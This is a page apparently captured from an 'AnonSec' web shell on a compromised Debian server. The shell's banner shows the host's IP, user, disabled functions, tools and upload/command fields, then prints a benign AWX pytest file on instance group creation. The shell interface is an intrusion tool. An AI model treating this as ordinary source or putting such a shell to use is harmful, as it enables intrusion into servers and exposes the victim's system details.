Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.118.1.100
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/ansible_collections/awx/awx/test/awx/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/lib/python3/dist-packages/ansible_collections/awx/awx/test/awx/test_instance_group.py
from __future__ import absolute_import, division, print_function

__metaclass__ = type

import pytest

from awx.main.models import InstanceGroup, Instance


@pytest.mark.django_db
def test_instance_group_create(run_module, admin_user):
    result = run_module(
        'instance_group', {'name': 'foo-group', 'policy_instance_percentage': 34, 'policy_instance_minimum': 12, 'state': 'present'}, admin_user
    )
    assert not result.get('failed', False), result
    assert result['changed']

    ig = InstanceGroup.objects.get(name='foo-group')
    assert ig.policy_instance_percentage == 34
    assert ig.policy_instance_minimum == 12

    # Create a new instance in the DB
    new_instance = Instance.objects.create(hostname='foo.example.com')

    # Set the new instance group only to the one instnace
    result = run_module('instance_group', {'name': 'foo-group', 'instances': [new_instance.hostname], 'state': 'present'}, admin_user)
    assert not result.get('failed', False), result
    assert result['changed']

    ig = InstanceGroup.objects.get(name='foo-group')
    all_instance_names = []
    for instance in ig.instances.all():
        all_instance_names.append(instance.hostname)

    assert new_instance.hostname in all_instance_names, 'Failed to add instance to group'
    assert len(all_instance_names) == 1, 'Too many instances in group {0}'.format(','.join(all_instance_names))


@pytest.mark.django_db
def test_container_group_create(run_module, admin_user, kube_credential):
    pod_spec = "{ 'Nothing': True }"

    result = run_module('instance_group', {'name': 'foo-c-group', 'credential': kube_credential.id, 'is_container_group': True, 'state': 'present'}, admin_user)
    assert not result.get('failed', False), result['msg']
    assert result['changed']

    ig = InstanceGroup.objects.get(name='foo-c-group')
    assert ig.pod_spec_override == ''

    result = run_module(
        'instance_group',
        {'name': 'foo-c-group', 'credential': kube_credential.id, 'is_container_group': True, 'pod_spec_override': pod_spec, 'state': 'present'},
        admin_user,
    )
    assert not result.get('failed', False), result['msg']
    assert result['changed']

    ig = InstanceGroup.objects.get(name='foo-c-group')
    assert ig.pod_spec_override == pod_spec

Anon7 - 2022
AnonSec Team